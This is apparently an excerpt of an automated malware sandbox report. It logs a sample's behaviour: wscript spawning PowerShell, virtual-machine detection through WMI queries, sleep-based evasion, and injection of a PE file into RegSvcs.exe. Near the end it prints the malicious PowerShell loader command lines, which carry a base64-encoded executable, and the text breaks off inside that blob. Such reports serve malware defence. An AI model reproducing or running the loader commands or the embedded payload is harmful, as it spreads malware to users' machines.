Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1280	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4332	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3736			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3392			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99743	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99638	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99244	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98998	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98761	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.302307322.000001D52CD5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}x
Source: RegSvcs.exe, 00000003.00000002.831596259.0000000005FD9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllowerManagementCapabilities
Source: powershell.exe, 00000001.00000003.310430015.0000028B4A593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 972008	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" [byte[]] $rowg = [system.convert]::frombase64string('tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaabqrqaataedalaz+mmaaaaaaaaaaoaaaielavaaacyaaaagaaaaaaaaskqaaaagaaaayaaaaaaaeaagaaaaagaabaaaaaaaaaagaaaaaaaaaacgaaaaagaaaaaaaamayiuaabaaabaaaaaaeaaaeaaaaaaaabaaaaaaaaaaaaaaagbeaabpaaaaagaaacgdaaaaaaaaaaaaaaaaaaaaaaaaaiaaaawaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaiaaacaaaaaaaaaaaaaaaccaaaegaaaaaaaaaaaaaac50zxh0aaaaucqaaaagaaaajgaaaaiaaaaaaaaaaaaaaaaaacaaagaucnnyywaaacgdaaaayaaaaaqaaaaoaaaaaaaaaaaaaaaaaabaaabalnjlbg9jaaamaaaaaiaaaaacaaaalaaaaaaaaaaaaaaaaaaaqaaaqgaaaaaaaaaaaaaaaaaaaacuraaaaaaaaegaaaacaauaxcgaaoqaaaadaaaaaaaaakhdaac4aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab4ckaeaaaoqhgioawaaciqmcwqaaaqaaqaabhmfaaakgaiaaarzbgaacoadaaaecwcaaaqabaaabcoufgeaaarvcaaacioufgiaaarvcqaacioufgmaaarvcgaacioufgqaaarvcwaacirwfguaaaqukboaaaosaisgfguaaaqqcgeaahdqbqaaaigpaaakbxsaaapzhaaacoafaaaek9oafgyaaaqqhgkabgaabcpwcwwaaayohqaacnqgaaacgacaaaqqhgiohgaacioafgcaaaqqgignaaagkh4ckbiaaaoqabmwbabaaaaaaqaaexihaabwcxyrarzfagaaaaiaaaayaaaakx8xdad+iaaacgixkbsaaaysbxckfyvbkw0if9ymgcvscbsx3xykbiobmaoabqqaaaiaabfylqaacaioiqaacgwwkwewrqmaaaacaaaadqaaabgaaaaririd/hupaaacfyviegt+fq4aaaiyk9csaxz9gaaabbkrzbid0a8aaaiodwaacigiaaakuh0naaaeaygjaaaklq0icqeaahadkcqaaaomagh+jqaacn4laaakfhp+jqaachqsaxiekbaaaaytbnmmaaakegqfpcgnaaakewuwkwewrrqaaaafaaaafqaaacqaaaazaaaadaaaamaaaadtaaaa8gaaaaibaabqaqaazqeaag8baaciaqaanaeaalabaadiaqaa3geaaa0caaasagaaxqiaadhxagaabbefhztwkccaaaotbhcrliczaaaajqkaaaetbxgrhxehfiacaaeanhk4ep///ygoaaakgjmweqr7cgaabbehkbeaaaythhmmaaakeheeewoaaaqrbygsaaaglqzzjgaacnorbx8plbmigjg3////eqr7cqaabbeihtyscrosasgvaaaglqzzjgaacnorbhejmxyrbhsjaaaeeqkofwaabiwgcyyaaap6bbefh1dwkccaaaotchs46/7//wqrbr9u1ignaaakewsconj+//8rbhsjaaaeeqyrciaamaaah0aogaaabhmnhti5/v//bs0leq0tirctdb44qf7//xeeewkaaaqweqogadaaab9akbgaaaytdrenlqzzjgaacnorbhsjaaaeeq0eeqssasgwaaaglqzzjgaacnorbsd4aaaa1hmohwk4w/7//wqrbrzwkckaaaox2hmrhwo4rv7//xyteh8lodz+//84nwaaaaqrdh8m1ignaaakexmfddgj/v//bbeohxdwkccaaaotfb8noa/+//8eeq4ffnyojwaachmvhw44+/3//xeulesrfbfaf9angwaaarmwhw844/3//wqrfrewfhewjmkokgaach8qom39//8rbhsjaaaeeq0re9yrfhewjmksasgwaaaglqzzjgaacnordh8o1hmohxe4nv3//xesf9ytehesere+wp///xenkcsaaaotdx8soh/9//8rbhsjaaaeeqge1hepghibkbyaaaytbnmmaaakegqrbr8o1ignaaakexafezho/f//eqwsbbegew0rbx8seq0renaehxq4nf3//ygoaaakgjmweqr7cgaabbehkbmaaaythhmmaaakeheeewoaaaqrbyguaaaglqzzjgaacnorbhskaaaekbkaaayvmwzzjgaacnrescgsaaakfisbfkudaaaaagaaabqaaaakaaaakyorbhslaaaehcgtaaakexcxk9srfywherdvlgaachykgcvlkc8aaaozk8peahckbioaaabbhaaaaaaaafsaaabeawaauqmaaegaaaayaaabhgioegaaciobmaqa7qaaaamaabfzmaaaciuomqaacm8yaaakaigzaaakkdqaaapypqaachkxaabwbzuaaapytqaachldaabwbzuaaapyxwaachltaabwbzuaaapy1waachljaabwbzuaaapy5waachl5aabwbzuaaapy/qaachipaqbwbzuaaapyeweachilaqbwbzuaaapyk
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" [byte[]] $rowg = [system.convert]::frombase64string('tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaabqrqaataedalaz+mmaaaaaaaaaaoaaaielavaaacyaaaagaaaaaaaaskqaaaagaaaayaaaaaaaeaagaaaaagaabaaaaaaaaaagaaaaaaaaaacgaaaaagaaaaaaaamayiuaabaaabaaaaaaeaaaeaaaaaaaabaaaaaaaaaaaaaaagbeaabpaaaaagaaacgdaaaaaaaaaaaaaaaaaaaaaaaaaiaaaawaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaiaaacaaaaaaaaaaaaaaaccaaaegaaaaaaaaaaaaaac50zxh0aaaaucqaaaagaaaajgaaaaiaaaaaaaaaaaaaaaaaacaaagaucnnyywaaacgdaaaayaaaaaqaaaaoaaaaaaaaaaaaaaaaaabaaabalnjlbg9jaaamaaaaaiaaaaacaaaalaaaaaaaaaaaaaaaaaaaqaaaqgaaaaaaaaaaaaaaaaaaaacuraaaaaaaaegaaaacaauaxcgaaoqaaaadaaaaaaaaakhdaac4aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab4ckaeaaaoqhgioawaaciqmcwqaaaqaaqaabhmfaaakgaiaaarzbgaacoadaaaecwcaaaqabaaabcoufgeaaarvcaaacioufgiaaarvcqaacioufgmaaarvcgaacioufgqaaarvcwaacirwfguaaaqukboaaaosaisgfguaaaqqcgeaahdqbqaaaigpaaakbxsaaapzhaaacoafaaaek9oafgyaaaqqhgkabgaabcpwcwwaaayohqaacnqgaaacgacaaaqqhgiohgaacioafgcaaaqqgignaaagkh4ckbiaaaoqabmwbabaaaaaaqaaexihaabwcxyrarzfagaaaaiaaaayaaaakx8xdad+iaaacgixkbsaaaysbxckfyvbkw0if9ymgcvscbsx3xykbiobmaoabqqaaaiaabfylqaacaioiqaacgwwkwewrqmaaaacaaaadqaaabgaaaaririd/hupaaacfyviegt+fq4aaaiyk9csaxz9gaaabbkrzbid0a8aaaiodwaacigiaaakuh0naaaeaygjaaaklq0icqeaahadkcqaaaomagh+jqaacn4laaakfhp+jqaachqsaxiekbaaaaytbnmmaaakegqfpcgnaaakewuwkwewrrqaaaafaaaafqaaacqaaaazaaaadaaaamaaaadtaaaa8gaaaaibaabqaqaazqeaag8baaciaqaanaeaalabaadiaqaa3geaaa0caaasagaaxqiaadhxagaabbefhztwkccaaaotbhcrliczaaaajqkaaaetbxgrhxehfiacaaeanhk4ep///ygoaaakgjmweqr7cgaabbehkbeaaaythhmmaaakeheeewoaaaqrbygsaaaglqzzjgaacnorbx8plbmigjg3////eqr7cqaabbeihtyscrosasgvaaaglqzzjgaacnorbhejmxyrbhsjaaaeeqkofwaabiwgcyyaaap6bbefh1dwkccaaaotchs46/7//wqrbr9u1ignaaakewsconj+//8rbhsjaaaeeqyrciaamaaah0aogaaabhmnhti5/v//bs0leq0tirctdb44qf7//xeeewkaaaqweqogadaaab9akbgaaaytdrenlqzzjgaacnorbhsjaaaeeq0eeqssasgwaaaglqzzjgaacnorbsd4aaaa1hmohwk4w/7//wqrbrzwkckaaaox2hmrhwo4rv7//xyteh8lodz+//84nwaaaaqrdh8m1ignaaakexmfddgj/v//bbeohxdwkccaaaotfb8noa/+//8eeq4ffnyojwaachmvhw44+/3//xeulesrfbfaf9angwaaarmwhw844/3//wqrfrewfhewjmkokgaach8qom39//8rbhsjaaaeeq0re9yrfhewjmksasgwaaaglqzzjgaacnordh8o1hmohxe4nv3//xesf9ytehesere+wp///xenkcsaaaotdx8soh/9//8rbhsjaaaeeqge1hepghibkbyaaaytbnmmaaakegqrbr8o1ignaaakexafezho/f//eqwsbbegew0rbx8seq0renaehxq4nf3//ygoaaakgjmweqr7cgaabbehkbmaaaythhmmaaakeheeewoaaaqrbyguaaaglqzzjgaacnorbhskaaaekbkaaayvmwzzjgaacnrescgsaaakfisbfkudaaaaagaaabqaaaakaaaakyorbhslaaaehcgtaaakexcxk9srfywherdvlgaachykgcvlkc8aaaozk8peahckbioaaabbhaaaaaaaafsaaabeawaauqmaaegaaaayaaabhgioegaaciobmaqa7qaaaamaabfzmaaaciuomqaacm8yaaakaigzaaakkdqaaapypqaachkxaabwbzuaaapytqaachldaabwbzuaaapyxwaachltaabwbzuaaapy1waachljaabwbzuaaapy5waachl5aabwbzuaaapy/qaachipaqbwbzuaaapyeweachilaqbwbzuaaapyk			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALAZ+mMAAAAAAAAAAOAAAiELAVAAACYAAAAGAAAAAAAAskQAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGBEAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuCQAAAAgAAAAJgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAoAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAALAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACURAAAAAAAAEgAAAACAAUAxCgAAOQaAAADAAAAAAAAAKhDAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACiqmcwQAAAqAAQAABHMFAAAKgAIAAARzBgAACoADAAAEcwcAAAqABAAABCoufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACirWfgUAAAQUKBoAAAosAisGfgUAAAQqcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACoAFAAAEK9oafgYAAAQqHgKABgAABCpWcwwAAAYoHQAACnQGAAACgAcAAAQqHgIoHgAACioafgcAAAQqGigNAAAGKh4CKBIAAAoqABMwBABAAAAAAQAAEXIhAABwCxYr